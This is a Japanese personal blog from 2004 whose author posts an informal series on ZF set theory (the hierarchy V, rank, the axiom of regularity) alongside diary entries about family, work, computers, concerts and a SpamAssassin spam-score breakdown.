本日は「正則の公理」の導入により前回定義した ${\rm~V}$ が集合全体を要素とすることを証明します。その前にまず「推移的集合 (transitive set)」に関するいくつかの簡単な性質を列挙します。推移的集合の定義を思い出しますと、
集合 $X$ が推移的であるとは $\forall{y}\forall{x}(y~\in~X~\wedge~x\in~y~\rightarrow~x~\in~X)$ が成立すること
でありました。 $\forall{y}(~y~\in~X~\rightarrow~y~\subset~X)$ と言っても同じことです。次の事実の証明は容易です。
(a) $X$ が推移的なとき $\bigcup{X},\,\wp(X)$ も推移的
(b) 任意の集合に対してそれを部分集合とする最小の推移的集合が存在する
(a) が成立することは定義よりすぐに分ります。(b) の証明ですが集合 $X$ に対し次の列と ${\rm~tc}(X)$ を帰納的に定義します。
$X_0~=~X\cr~X_{n+1}~=~\bigcup{X_n}\quad(n~\in~\omega)\cr$
そして
${\rm~tc}(X)~=~\bigcup_{n\in\omega}X_n$
すると ${\rm~tc}(X)$ は $X$ を部分集合とする最小の推移的集合となります。まず ${\rm~tc}(X)$ が推移的集合であることは $y\in{X_n}$ とすると $y\subset{X_{n+1}}$ が成立することにより導かれるます。さらに $X\subset{Y}$ 推移的集合とすると、帰納的に $X_{n}~\subset~{Y}\quad(n~\in~\omega)$ が導かれるので ${\rm~tc}(X)\subset{Y}\,.$ ${\rm~tc}(X)$ を $X$ の推移的閉包と呼びます。さて次に ${\rm~V}_\alpha$ に関する簡単な性質を列挙します。
(c) $\alpha~\leq~\beta~\rightarrow~{\rm~V}_\alpha~\subset~{\rm~V_\beta}$
(d) $\alpha\in{\rm~Ord}~\rightarrow~{\rm~V}_\alpha$ は推移的.
(e) $\alpha\in{\rm~Ord}~\rightarrow~\alpha\in{{\rm~V}_{\alpha+1}}$
(c) (d) は ${\rm~V}_\alpha$ の定義と推移的集合の性質と (a) から超限帰納法により導かれます。 (e) の証明も超限帰納法で行われます。即ち $\beta~<~\alpha~\rightarrow~\beta\in{{\rm~V}_{\beta~+~1}}$ が成立していたと仮定すると $\alpha~\subset~{\rm~V}_{\alpha}$ が導かれるので $\alpha~\in~{\rm~V}_{\alpha+1}$ 。さてここで重様な概念を定義します。
[集合の階数(rank)の定義]
$x~\in~{\rm~V}$ とするとき $x~\in~{\rm~V_\beta}$ となる最小の $\beta$ は明らかに極限数ではありません。したがって $x$ の階数(rank) を次のように定義します。
$x~\in~{\rm~V}$ のとき $x~\in~{\rm~V}_{\alpha~+~1}$ なる最小の順序数 $\alpha$ を $x$ の階数(rank)と称する。
次の性質は容易に証明可能できます。
(f) ${\rm~V}_{\alpha}~=~\{x\in{\rm~V}\,|\,{\rm~rank}(x)<\alpha\}$
(g) ${\rm~rank}(x)~=~\sup_{y\in{x}}({\rm~rank}(y)~+~1)$
(h) $\alpha\in{\rm~Ord}~\rightarrow~{\rm~rank}(\alpha)~=~\alpha$
さらにもうひとつ重様な概念である「整順(well founded)な関係」を定義します。
[整順な関係の定義]
集合 $X$ 上の二項関係 $R(x,y)$ が整順(well founded)であるとは次の条件を満たすことである。
$\forall~Y\subset{X}(Y\neq\emptyset~\rightarrow~\exist{y\in{Y}}({\forall{x\in{Y}}}(\neg{R}(x,y))))$
言い替えると $X$ の空でない部分集合に対して $R(x,y)$ の $Y$ に「極小元」が存在するという感じでして、実際定義で現れる $y$ を $Y$ の関係 $R(x,y)$ に対するの極小元と呼ぶのです。さてここで「正則の公理」を導入して、すべての集合が ${\rm~V}$ の要素であることを証明する準備が出来ました。
[正則の公理(axiom of regualarity)]
$\forall{x}(x\neq\emptyset~\rightarrow~\exist{y\in{x}}(y~\cap~x~=~\emptyset))$

[定理]
$\forall{x}\exist{\alpha\in{\rm~Ord}}(x\in{\rm~V}_{\alpha})$
言い替えると
$\forall{x}(x~\in~{\rm~V})$
もっとはっきりと言い替えると
クラス ${\rm~V}$ は集合全体のユニヴァースである！！
正則の公理を「基礎の公理(axiom of foundation)」と呼ぶこともあります。正則の公理の導入により、集合全体がこのように「空集合から巾集合を順序数にそって積み上げ、それを合併の公理により張り合わせる」という集合を拡張する三つの大きな操作、即ち「巾集合の公理」「合併の公理」「置換公理」により美しい形で表現可能であることは驚きであるとともに、現代の集合論の公理の整合性を強く示唆するものであると思うのであります。
さて証明ですが、まず次の事実に注意します。
正則の公理 $\rightarrow$ 任意の集合上で $\in$ は整順な関係。
この事実は「正則の公理」が「任意の集合は $\in$ に関する極小元を持つ」という事実を表現していることに注意すれば明らかです。さらに次の事実に注意します。
$x$ を推移的な集合とするとき $x~\in~{\rm~V}$
これを証明するためには $x\subset{\rm~V}~$ であることを示せば十分です $(x$ の各要素の ${\rm~rank}$ を考える)。実際そうでないとすると、 $y=x-{\rm~V}\neq\emptyset$ となるので $y$ の $\in$ に関する極小元を $z$ として $w\in{z}$ とすします。すると $z$ の極小性により $w\not\in{y}.$ また $x$ の推移性により $w\in{x}.$ したがって $w\in{\rm~V}$ が成立するので $z\subset{\rm~V}$ が成立ち $z\in{\rm~V}.$ これは $y$ の定義に矛盾します。最後に次の事実
$x\in{\rm~V}~\leftrightarrow~{\rm~tc}(x)\in{\rm~V}$
を示せば定理の証明は完了ですが、これは推移的閉包の定義によりほとんど明らかです。

2004年10月9日(土)

藤沢台風情報
現在 15時頃ですが、大分風雨が強まってきました。16時～17時位がピークになりそうです。
かなり強い雨が降りましたが、あっという間に過ぎ去りました。今は晴れています。

2004年10月8日(金)

ドメイン維持管理請求書
本日アイネットディからおうちのドメイン維持管理代行費用等の請求が来まして、一年分のお値段が 6,300 円なり。いやはや一月 500円と思っているとたいしたことない感じがしますが、一年分となると結構いいお値段ですな。ちなみに、聞いた話によりますと、おうちのドメイン名(evariste.jp) はあまりに神々しいので、その筋の人達の間でも膠着状態になりて、誰もとっていなかったそうで、かなり厚かましい感じがするとのこと。いや～、こればっかりは変な意図さえなければ早いもの勝ちですから(^^。
X24 と FreeBSD-5 系列
FreeBSD-users-jp のこちらのスレッドによりますと、どうも 5.3-beta で X24 へのインストールに成功した事例があるそうで、いよいよ最新ヴァージョンのの追っかけに移行できそうです。そうはいうものの、最近いまいちコンピューターに対する興味がなくなってきているのと、さらに 4.10 で何の問題もなく動作しているのと移行するのがとっても面倒そうということで、きっと 5.3-release(いつなんだろう)のあたりまでは行動を起こさない様な気がします。ただしいつまでも古いヴァージョンを使っていると、いざというときに困る場合が多いことも経験的に分っているので、ちょいと悩ましいところであったりするのです。
＃ねたがなくて困ったらインストールしようかな...(^^。

2004年10月7日(木)

手に入った「ばらの騎士」
やはり欲しくて色々調べていたのですが、こちらから注文することが出来まして、本日めでたく届いたのです。もちろん定価の 6,500円(+消費税)で手に入った訳で、いやはや先日オークションで負けたのは今になってみれば幸いでした。ところでおうちには DVD を聴く機械は PS2 しかなかったりして、さらに最近はアナログ系がずたぼろでして、音がとぎれたり、画面が変な色になったり、場合によっては垂直同期がとれなくなったりして、しばらくの間は大切にとっとくしかないという悲しい状況だったりします。さらに、お子さま達から新しい PS2 を買ってちょうだい、という圧力も段々高くなっているのが現状なのです(^^。
余談ですが HMV からのメールの形式はあんまり質が良くなく、普通は注文した後にすぐ確認メールが来るのに全然来ないのでどうしたのだろうと思っていたら、全部スパム箱に落ちていたのでした。Spamassassin のポイントは 5.5 で、内訳は次の通りです。「どかん」というよりも「ちびちび」ポイントを稼いでいる感じですな(^^。
```
 pts rule name              description
---- ---------------------- --------------------------------------------------
 0.2 PLING_QUERY            Subject has exclamation mark and question mark
 1.3 GAPPY_SUBJECT          Subject: contains G.a.p.p.y-T.e.x.t
 0.3 NO_REAL_NAME           From: does not include a real name
 0.8 HTML_30_40             BODY: Message is 30% to 40% HTML
 0.7 HTML_TITLE_UNTITLED    BODY: HTML title contains "Untitled"
 0.3 HTML_TAG_BALANCE_BODY  BODY: HTML has unbalanced "body" tags
 0.8 HTML_COMMENT_8BITS     BODY: HTML comment has 3 consecutive 8-bit chars
 0.0 HTML_MESSAGE           BODY: HTML included in message
 1.1 MIME_BASE64_TEXT       RAW: Message text disguised using base64 encoding
```
クラスと V
[集合論雑記目次]
今まで議論してきた様に、例えば「集合全体からなる集合」を考えると矛盾が生じるので、内包に対して外延(集合)を作る場合、公理群によりいろいろな制約を与えてきたのです。ただし「集合全体からなる集まり」「順序数全体からなる集まり」等の概念を考えること自体は便利であるというのは疑いのない事実であり、実際このようは「集まり」を容認する公理系も存在しまして、最も広く使用されているのが「ベルナイス・ゲーデルの公理系(BG 集合論)」であり、集合と考えるには大きすぎる集まりを「真のクラス」と表現して(さらに通常の集合と真のクラスを合わせて「クラス」と称する)、 $C$ が「真のクラス」である特徴づけは次の通りです。
$\forall{x}(C\not\in{x})$
ここで全称記号は真のクラスも含めたクラス全体の領域を動くとします。つまり「真のクラスは別のクラスの要素となることはない」という約束ごとをするのです。
それに反して今までこの雑記で使用してきた公理系は ZF(ツェルメロ・フランケル)集合論と言いまして、集合を作るに際して、「大きくなりすぎない」ように公理で制約を与え、それに反する集まりは「対象として認めない」ものだったのです。さて、本日の目的は ZF 集合論を基礎としつつ、「大きな物の集まり」を考えたいということなのですが、ざっくばらんに例えば「順序数全体の集まり」を考える時に、それを外延化しないで内包のまま考える方式を採用します。例えば順序数全体のクラス、
${\rm~Ord}=\{\alpha|~\alpha~\,\,{\rm~is~ordinal}\}$ (この記法は便宜的なものであり正しい記法ではありません！！)
という「集まり」を考えるつもりになりたいのですが、これは ZF 集合論では許されないので、単に ${\rm~ord}(x)~\leftrightarrow~(x\,\,~{\rm~is~ordinal})$ なる論理式を考えて $\alpha\in{\rm~Ord}$ は単に ${\rm~ord}(\alpha)$ の略記であると考え、さらに上に記述した「正しくない記法」も誤解を招かない限りは採用することとします。
それでは上記の「クラスの定義」を利用して集合のユニヴァース ${\rm~V}$ を定義します。
[V の定義]
${\rm~V}_0~=~\emptyset$
${\rm~V}_{\alpha~+~1}~=~\wp({\rm~V}_\alpha)$
${\rm~V}_{\alpha}~=~\bigcup_{\beta<\alpha}{\rm~V}_{\beta}$ ( $\alpha$ が極限順序数の場合)
として
${\rm~V}~=~\bigcup_{\alpha\in{\rm~Ord}}{\rm~V}_{\alpha}$
最後の ${\rm~V}$ の「定義」はもちろん、
$x\in{{\rm~V}}~\leftrightarrow~\exist{\alpha}(\alpha\,\,{\rm~is~ordinal}\,~\wedge\,~x~\in~{\rm~V}_{\alpha})$
を表現している(しかも左辺は言語の濫用)のであり具体的に ${\rm~V}$ という対象を定義している訳ではありません。それにもかかわらず ${\rm~V}$ を(便宜上)対象と考える直観が役に立つ場合が多いことは事実なのであります。さてすべての集合が ${\rm~V}$ の要素になることは今までの公理からは証明出来ません。この事実を証明するには次回に言及する「正則性の公理」が必要です。

2004年10月6日(水)

ぞうがふんでもでもこわれない

昨日奥さまと話していたら、大昔(私が小学生の頃)の「ぞうがふんでもこわれない」筆入れのコマーシャルの話になったのです。ご存じない方も多いと思いますので、ちょいと説明致しますと、当時の筆入れはセルロイド(これも分んないか^^)製のものが多く、ちょっとした衝撃や圧力で壊れてしまったのです。その時代になんと「ぞうさん」の圧力にも耐えるという筆入れは、子供にとって大変なインパクトがあるコマーシャルだったのであります。

私あれ欲しかったよね

奥さまでも買ってもらえなかった

私私も

奥さま本当に象が踏んでも壊れなかったのかな

私おそらく塩化ビニールかなんかを材質にしてたのでふにゃふにゃして壊れにくかったと思う

奥さま本当に象に踏ませたのかな

私コマーシャルで象に踏ませるところ出てなかったっけ

奥さまよく覚えてない。

私そもそも象の足の裏ってそんなに硬いの？そうでないとすると、踏んだ時象の足の底がへこんで、筆入れにはあんまり圧力がかからないかも...

奥さまじゃあ今度動物園に連れてってあげるから自分で踏まれてみたら(^^

私あのねえ、筆入れの面積は象の足の裏より小さいから、もし象の足の裏が軟らかければ圧力は減少するけど、私が象に踏まれると足全体の重量がかかるからつぶれてしまうよ

奥さまそもそもこの前の写真を見ると象の足の裏硬そうだし

私でも塩化ビニール製だとすると、筆入れは無事でも中の鉛筆とかは壊滅したのでは(^^

実際、当時は物が壊れやすく、頑丈なものに対して子供心にもあこがれがあった時代だったと記憶しております。今だったら「ビルから落としても、象が踏んでも壊れない IBM ノートパソコン」なんてのがあれば 5万円位高くてもふらふら～、と買ってしまいそうな気がします(^^。

2004年10月5日(火)

怒られないと勉強しない
なんか対偶の話題が出ているようなので...。一般に論理式 $\phi,\,\psi$ に対して $\phi\rightarrow\psi$ の対偶は $\neg\psi\rightarrow\neg\phi$ であることは良く知られた事実であると思います( $\neg$ は否定を表す論理記号)。もう少し分りやすく書くと、
「P ならば Q」の対偶は「Q でないならば P でない」
ということになり、元の命題とその対偶が同値になる事実も良く知られていると思います。すると「怒られないと勉強しない」という言葉に対して一般常識で「対偶」を作ると、
勉強すると怒られる(^^
ということになります。いやはやこれでは勉強する気が失せてしまいます(^^。実際、日常生活では「ならば」ということばや「...でないと」という言葉は頻繁かつ多用途に用いられ、この言葉を直観のおもむくまま形式的な論理に適用すると変な結果を得ることが多々ありうるのです。
さて、上の解釈の問題点を分析しますと、「怒られないと」の部分を「否定文」に解釈することが問題なのであり、これは時制もしくは因果律に関連する文と解釈するべきで、形式論理の規則を適用するためには、「怒られている時は勉強していない」という風に書き直すべきなのです。そして、この言い替えの「対偶」をとると、「勉強しているときは怒られていない」という風に全く問題がない文が出来上るのであります。
ここで本題に入りまして、テナーさんのとこの疑問(2004年10月5日の日記) の「他人は変えることが出来ない」の「対偶」は「他人は変えないことが出来る」であり、後者は明らかに偽であるので最初の文も偽である、ということなのですが、これは「関係」を論理適用する方法の誤りから発生する間違いだと思われます。この場合「他人は」の部分をそのままにしておいて、「変える (変えない)」と「出来る(出来ない)」の部分に「論理規則」を適用することに問題があるのでして、「出来る」という言葉には「何が出来る」かという具体的な条件が記述されていないので、これを一つの論理式(関係)と考えて形式的な論理を適用することが誤りなのです。具体例で言いますと、例えば人間一般を x で表して P(x) を「x は勉強する」という表現に形式論理を応用することが可能であると思われますが、P(x) を「x は出来る」とするとこの表現は意味不明です。つまり、
他人は変えることが (ならば) 出来ない
他人は変えないことが (ならば) 出来る
という「区切り」方と「ならば」の適用に問題がありまして(出来る・出来ないも「ならば」の部分双方が意味不明)、上記の二番目の文に形式論理の「ならば」を無理矢理適用するならば、
他人ならば変えないことが出来る
という感じになるのですが、本当は「他人」という「もの」を表す概念に「ならば」を適用することはやってはいけないので、上の文を論理にあてはめるならば、
x が他人ならば x を変えないことが出来る
と言い替える必要があります。さらに「出来る」という部分はテナーさんがこの文を偽と解釈していることから、「すべの」という意味が言外に含まれていると考えられます。即ちもっときっちり言い替えると、
すべての x に対して (x は他人)かつ(x は変わらない)
となります。そしてその対偶(というかもはや対偶でなく存在に関する言い替え＊)、
「ある x に対し(x は自分)または(x は変わる)」ことはない
となり、これが二番目の文の正しい言い替えであると思うのです。さらに一番目の文を同様に言い替えると、二番目の文と異なりこの文が真であると考えられるからには、言外に「ある」を含むと考えられるので、
ある x に対し(x は他人)かつ(x は変わらない)
となり一番目の文と二番目の文はあんまり関係がなく(少なくとも対偶という意味では)「すべて」もしくは「ある」に関する問題であるということが分るのです。
(＊)論理規則
$\forall{x}(\phi(x)~\wedge~\psi(x))~\,\leftrightarrow~\cr~\neg\exist{x}(\neg(\phi(x)\wedge\psi(x)))~\,\leftrightarrow~\cr~\neg\exist{x}(\neg\phi(x)\vee\neg\psi(x))$
によります。

2004年10月4日(月)

まだ仕事～
現在丁度未明零時になりましたが、実を言いますとまだ会社で仕事してたりします。まあ「先週中に」という約束なもんで、とにかく朝までに形を整えないと、とってもとってもみっともなかったりするのでした(^^。
今朝の四時半頃ですがなんとか形に(^^。もう限界なのでお客様にプログラムをメールで送りて始発で帰ります(^^。

2004年10月3日(日)

休日出勤
というわけで、今日は一人で会社にいたりするのです(^^。それはそうと、昨日の運動会で「来年入学予定の子供」のかけっこがあったのですが、それを見ていたモカちゃんいわく、
昔この競技に出た時、幼稚園では一番速かったので、当然一番になれると思っていたのが、もっと速い子がいて驚いた
とのことなのです。モカちゃんが通っていた幼稚園は一学年 10人程度のちっちゃいところだったのと、普通の子よりちょっと足が速い、ということでそんな風に思い込んでしまったのでしょうな(^^。それにしてもそんな昔のこと良く覚えていること...。本人にとっては相当な衝撃だったのでしょう。
(おまけ)
写真撮ろうとゴール前に集まるばか親たち

もちろん私もばか親の一人だったりします(^^。

2004年10月2日(土)

運動会
今日は快晴にめぐまれたモカちゃんの運動会でして、100メートル走では一等賞だったのでした(^^。なんか写真を出したいところですが、そろろろ姫もおっきくなってきたのと、今日はあんまり良いのが撮れなかった(というか他の子が写っている)のです。仕方ないので、先週奥さまとモカと二女が上野動物園に行ってきた時、二女とモカが撮った写真掲載なのです(^^。動物園に行ってきたのは先週の日曜日でして、私も行こうと思ったのですが、猫森疲れで朝起きれなかったというなんとも情けない父親なのです。

2004年10月1日(金)

今日から十月
なんか全く意味のない題名だったりします。ところで大分気候も良くなってきて、そちらは助かるのですが、いよいよ仕事が切羽詰まってきたりしています(^^。うーん、明日はとある行事があるので仕事出来ないし、これは日曜日に出勤するしかなさそうですが、先々週あたりからのイベント疲れも残っていたりして、ちょいとつらいところです。まあ来週の中ごろには落ち着くと思いますので、そしたら日曜日の代休でもとって家でごろごろして過ごしましょう(^^。それから最近集合論雑記の更新が止まってしまっています。こちらもそろそろなんとかしなくてはいけません。
＃仕事も行き詰まっているのではなく、単に面倒な部分をこつこつやれば良い
＃状況なので案外気楽なのでした(^^。

2004年9月30日(木)

激速アイネットディー
昨日アイネットディーのコントロールパネル(自分のアカウント等の管理をする画面)の URL が分らなくなってしまい、23時49分に「場所を教えて下さい」という意味の質問メールを投げたのです。この会社のレンタルサーバーの良いところは質問に対する反応が速いことでして、まあ 30分か 1時間で回答が来るであろうと思っていたら、なんと
4 分後に回答のメールが(^^
むむむっ、いつも即座の反応に感心してはいたのですが、これは今までの最速回答です(^^。ちなみに回答が速いということは次の条件を満たしていることが推測されるのです。
- サポートの教育が良い。
- サポートの人が優秀。
- サポートに関する資料が充実していて、さらにアクセスしやすい。
- システムトラブルが少ない(トラブルが多いとそちらに手をとられるので)。
最近「こんな安くて大丈夫なのかな～」と思われるレンタルサーバーを良く見掛けますが、掲示板等を見るとトラブルが多かったり、質問をしても音沙汰がなかったりと、色々問題がある場合が多いようです。アイネットディで私がサービスを受けているプランは月千円位で標準的な価格だと思うのですが、ssh でログインできたり、自分で .forward や .procmail を自由に変更可能等、自由度が高いというメリットがありますし、上記のようにサポートが極めて優秀なので、これは会社がなくなったりしない限り離れることはできません(^^。

2004年9月29日(水)

AH-K3001V ファームウエアーバージョンアップ
たかたにさんとこの情報によりますと、AH-K3001V のファームウエアーがバージョンアップされたとのこと。まあ、あんまり大勢に影響はないと思うのですが、たまに WWW をうろついているとメモリー不足のメッセージが出ることがありまして、今回の更新で「メモリー管理の最適化」という項目もあることなので、試しにこちらから新規ファームウエアーをダウンロードしてバージョンアップです。バージョンアップするときは、本体の 789 ボタンを同時に押して、電源を投入で待ちモードになるのですが、789+電源投入が結構難しかったりしました。更新自体は問題なく進みまして(でも 15分くらい時間かかった。USB なのにどうしてこんなに遅いのだろう...)、その後試しに少しいじってみたのですが、特に目立つ変化はないような(^^。希望としては画面を見ながら特定のキーを押すことにより画像の OFF/ON が出来ればとても便利になると思うのですが、このあたりの変更はなかなか面倒なのでしょうな。

2004年9月28日(火)

やなおっさん
二女の話によると、毎朝バスで通学しているとき、変なおっさんが乗って来るそうな。どこが変かというと、
他の席が空いてるのに、二人掛けの席の窓側に女の子が座っていると、わざわざ隣の席にに座りに来る(-_-)
通常バスの席に座る場合、一人掛けの座席・二人掛けの座席の窓側・二人掛けの座席の内側、という風にうまってゆくと思いますし、普通の感覚を持った男性ならば、他の席が空いているのに、あえて知らない女性が窓側に座っている隣には行かない、というのが常識だと思うのですが、ほんとにやなやつですな。さらに被害に会っているのは二女のみならず、他の女の子が標的になる場合も多々あるということなのです。さらにさらに自分が一人掛けの椅子にすでに座ってる時に、わざわざ移動して来る場合もあるらしいのです。うーむこの程度では警察に届けるほどのことではないのですが、やはり女の子の親としてはあんまり気分が良いものではありません。注意するように言っとく程度しか対処がないのがつらいところではあります。

2004年9月27日(月)

AH-K3001V 営業
私の勤めている会社には石川県に営業所がありまして、そちらに勤務されている女性が「そろそろ PHS を買い替えようかな～」と言ってたので、
AH-K3001V はいいですよ～(^^
と何回も何回もしつこく推薦してたのですが、数日前やっと営業の甲斐ありて、白い方を購入されたとのこと。うーむなかなか売上げ良好ですな(^^。ちょっと思い出すに、この一年の営業成績は下記の通り極めて優良なのです。

IBM T40 3台

AH-K3001V 2台

むむむっこんなにたくさんの売上げを(^^。これは IBM や京セラもしくは DDI ポケットから営業用のサンプルを無料で頂いても良いくらいのすばらしい成績だと思うのですが、いやはやそんなに都合の良い話はあるわけないですな(^^。
＃T40 は無料で頂きたいが AH-K3001V は通信料を無料にしてほしいな。

2004年9月26日(日)

猫森集会楽日

今日は最終日なのですが、それにふさわしい素晴らしいコンサートだったのです。昨日も書いたかも知れませんが、落ち着いたしっとりとした演奏会で、さらに選曲が絶妙でした。最終日という感情移入もあったと思うのですが、最初から最後までたっぷりと音楽に浸り切ることが出来たのです。B プログラムと D プログラムのゲストさまは、トークに関しては対極にあるのですが、音楽に関しては「浩子さんの歌の美しさを際立たせる」という点で、すばらしい人選だったと思います。でも本当に終わってしまったのですね。例年のことながらとても寂しいという気持ちと、正直言いますと少々ほっとした(体力の関係ね) という、相反する気持ちで帰宅したのであります。まあこの気持ちはソロコンサートの帰りとかでも同じなのですが...。

[今日の事件その１]
そういえば最初の三曲目が終わったところで、一番前の席で爆睡してた人がいた。浩子さんが話題にして全員の視線が向いたと思うのだが目覚めない。大物ですな(^^。

[今日の事件その２]
最初のアンコール終了後拍手がなりやまなかったのですが、私の後ろのおとうさんと女の子があきらめて帰ろうとして、いつも浩子さんが登場する場所を通りかかったら、丁度その時スポットライトが(^^。おとうさんあせっていたし、女の子は何が起きたか良く分らないで呆然としていた。浩子さんと AQ さんが目の前に再登場して(うらやましい！！)、それでも帰ろうかどうか迷っていたらしいが、結局席に戻った(^^。

番号曲名備考

オープニングマイケルというパン屋さん

オープニング闇に走れば

オープニング遺跡散歩

1-1 時の少女時

1-2 時の回廊

2-1 空の駅旅・「第七官界彷徨」より

2-2 休暇旅行

2-3 ただ風のために

3-1 月が誘う夜

3-2 三日月の女神

3-3 夜の一品

4-1 リカちゃんのポケット夜歩く

4-2 ガラスの巨人

4-3 窓の外を誰かが歩いている

エンディングダイエット村岡さんと演奏したかった曲

エンディング電波塔の少年

アンコール銀の記憶

アンコール小さな魚本日のみ

2004年9月25日(土)

猫森集会七日目
今日はサクソフォーンの村岡健さんがゲスト。落ち着いた「大人の演奏会」という趣きだったのです。ところで今日と明日は 18時開演なのですが、てっきり今日も昨日までと同様 19時開演だと思っていまして、昨日帰る時 Joe さんに注意してもらわなければ遅刻するところだったのです。どうもありがとうございます。
＃遅刻してきた人たくさんいたような...。
実は売ってた「ばらの騎士」
先日お金がなくてオークションで負けてしまったカルロス・クライバー指揮の「リヒャルト・シュトラウス作曲歌劇・ばらの騎士」、ウイーン国立歌劇場管弦楽団バージョンなのですが、なんと中国帰りの H さんが(リンク先の 9月23日の記事) 京王線の駅ビルのレコード屋さんで一枚だけ発見したとのこと。彼には「この DVD いいですよ～^^」としつこく何回も推薦してあったので、即座に決断！！定価の 6,500円で購入されたそうで、さらに次の日会社に持ってきてうれしそうな顔して見せびらかしたりするのです(^^。
むむむっこれはとっても不愉快ですな(-_-)。
そもそも彼の場合、前にもなかなかダイアルアップ接続をやめないので、ADSL の方が速度的にも予算的にも得ですよ～、と推薦したところやっと重い腰を上げて ADSL に変更されたのですが、そのときもこんなことがありまして、なんというかおいしいところは全部とられてしまった感じなのです。うーむ、やはり私のようなめちゃくちゃな人間ではなく、彼の様に品行方正なる人に運が向くようになっているのだろうか。謎ですな(^^。
＃彼も私も DVD を聴く装置として PS2 しかもってないのが悲しかったりします。

2004年9月24日(金)

猫森集会六日目

今日もオールリクエスト。今までの経験から予測はしていたのですが、寝不足で聴くと案外良いのです(^^。オープニングは意表をついた「ウミガメスープ」でしたが、リクエスターさま達の選曲が絶妙だったのでした。最初の「空からマリカが」に引っ張られたのかも知れません。

余談ですが夕方の五時頃に社長様から声がかかりちょっとした打ち合わせに。いやはやどうやって逃げようか。結局五時半に「他の打ち合わせがあるので」とか大嘘ついて退散したのでした(^^。

それからみんみんさん初めてお会いすることができました。どうもでした(^^。

番号曲名備考

オープニングウミガメスープ

1-1 空からマリカが

2-1 街

2-2 冷たい水の中をきみと歩いていく

2-3 MOON SONG

3-1 夜のブランコ

3-2 海の時間

4-1 三日月の女神

4-2 不眠の力

4-3 裸足の君を僕が知ってる

5-1 はじまりの丘

エンディング僕は帰るきっと帰る

アンコールねむの花咲けばジャックはせつない

また徹夜
現在未明の 2時頃なのですが、昨日昼間中寝ていた、ということであんまり眠くならないのです。なので徹夜で仕事して会社に直行して、さらに定時まで仕事して猫森に向かう予定。明日からお休みなのでなんとかもつでしょう(^^。
今 15時頃なのですが、会社へ行く時以外 13時間連続仕事してもうだめ(^^。あと 2時間ちょっとうだうだしてコンサートに行く予定なのでした。
曲を聴きながら寝てしまわないように注意しないと...。

2004年9月23日(木)

猫森集会五日目

今日はなんかとても疲れて、昼間はほとんど寝てしまったのですが、夕方には起き出して猫森に行ってきたのでした。音楽聴いている時は疲れ忘れてます(^^。曲目等は、オープニングとエンディング・アンコールがねたばれになるおそれがあるので、明日以降ということで。

C プログラムオールリクエストの一日目ということで、曲目は下記の通り。転調した「瞬間」がキー一つ分の割にはやけに低く聞こえた。

番号曲名備考

オープニングパタパタ

1-1 Lucky DRAGON

2-1 忘れられた部屋で

2-2 不眠の力

2-3 犬を捨てに行く

3-1 教えて下さい～加瀬クンのために～

3-2 愛をもういちど

4-1 瞬間原曲はト長調なのをヘ長調で

4-2 夢の歯車

4-3 再会

5-1 約束

エンディング僕は帰るきっと帰る

アンコール楽園のリンゴ売り

2004年9月22日(水)

ひとやすみ
今日は猫森集会は一日お休み、ということでお仕事お仕事(^^。それはともかく、四日間通ってそのうち休日が三日あったので、常識的に考えるとそれほど疲れないはずなのですが、いやはや結構疲れがたまってきましたな(^^。コンサートというものは、聴く方も思ったより体力使うのだろうか。

2004年9月21日(火)

猫森集会四日目

昨日と今日の猫森集会 B プログラムは、篠笛奏者の狩野泰一さんがゲストで、篠笛・能管・パーカッションの演奏だったのです。とても気持ちよかったです！！。いくつか感想を書きたいところではあるのですが、色々考えてるうちに眠くなってきたので、そのあたりは後日ということで(^^。

[9月24日付記]
ほとんどうたたさんとおんなじ感想なのですが、普段はもちろん浩子さんのコンサートということで、浩子さんの歌声がメインになるのは当然なのですが、本日に限っては合奏的な要素が特に顕著だったと思うのです。浩子さんが目立たなかったというよりも、狩野さんの笛やパーカッションとの調和がすばらしく、例えはあんまり良くないかも知れないのですが、いつもは協奏曲風(もちろん浩子さんがソリスト)な趣きを聴いていたのが、今回は室内楽的な響きを楽しむことができた、というなかなか貴重かつ楽しい体験だったと思うのであります。

番号曲名備考

オープニング DOOR ピアノソロ

1-1 神様 AQ 氏登場

1-2 ひまわり

1-3 メリーメリーゴーラウンド

2-1 笛吹き狩野さん登場

3-1 もみの木

3-2 ほおずきランプともして

4-1 かくしんぼあやかし

4-2 鬼こごめ

4-3 やまわろ

5-1 冷たい水の中をきみと歩いていく水

5-2 さかなの言葉

5-3 河のほとりに

6-1 風のたてがみ風

6-2 風になれ～みどりのために～

エンディングドッペル玄関

アンコール恋人に「第七官界彷徨」より

中国のおみやげ
二週間ほど中国旅行をしてきた会社の同僚が本日から復帰ということになったのでが、うれしいことにおみやげを頂いたのです(いやいや要求したなんてそんなことは絶対に^^)。一つは「出来たら欲しいな～」と言ってあったウーロン茶でして、もう一つはなんと数学の本(^^。

ウーロン茶
数学の本

ちっとも分らない
これならなんとなく

実際ぺらぺらめくってみると、下の左側の様な中国語ばかりのページは全く意味不明なのですが、下の右の写真のごとく記号が多い部分はなんとなく意味が分かったりします。このあたりは中国語が堪能な人とは全く逆なのでしょうな(^^。いずれにしてもどうもありがとうございました。
＃そりゃそうと一番右のお茶は危なそうな名前...。大丈夫なのだろうか(^^。

2004年9月20日(月)

猫森集会三日目
おどろいた(^^。でも楽しかった。詳細は明日。

2004年9月19日(日)

猫森集会二日目

今年は昨年までと若干趣向が変わったのかな。いつもですとオープニングは浩子さんが一人で登場し、ピアノのソロとなる訳なのですが、今年は倫典さんのギター伴奏で浩子さんがピアノなしで二曲歌うという趣向だったのです。静寂なるギターソロ伴奏の MOONSONG がとても美しい演奏でした。LADY DAISY( とても綺麗だった)まで聴き終わって、今回のプログラムは励まし系とか切ない恋系とか、しっとりとした曲が多いのかなと思ってたのですが、「鳥籠姫」 (この演奏も良かった)を中間点として後半は趣きが変わりまして、浩子さんいわく「三回位終わってる」というように、テンションの高い曲が続いたのです。個人的には「七角錐の少女」が「幾何学的な構築感」さえ感じさせるとても素晴らしい演奏だったと思います(この曲好きだし)。

余談ですが、七角錐の少女の後の MC で浩子さんが AQ 氏に「七角錐ってなにか特殊なの」と聞いて、AQ 氏答えて曰く「正七角形は定規とコンパスで書けない一番頂点が少ない正多角形」という話があったのです。終演後 Joe 氏とその話をしていたら(私がアンケートに余計なつっこみを書いたのはばれてたようで...)、Joe 氏曰く

底面が正七角形の七角錐は簡単に作れますよ

ということで、いやいやいくらなんでも無理でしょうと私が言いますと、

合同な二等辺三角形を 7枚作って張り合わせれば良い(^^

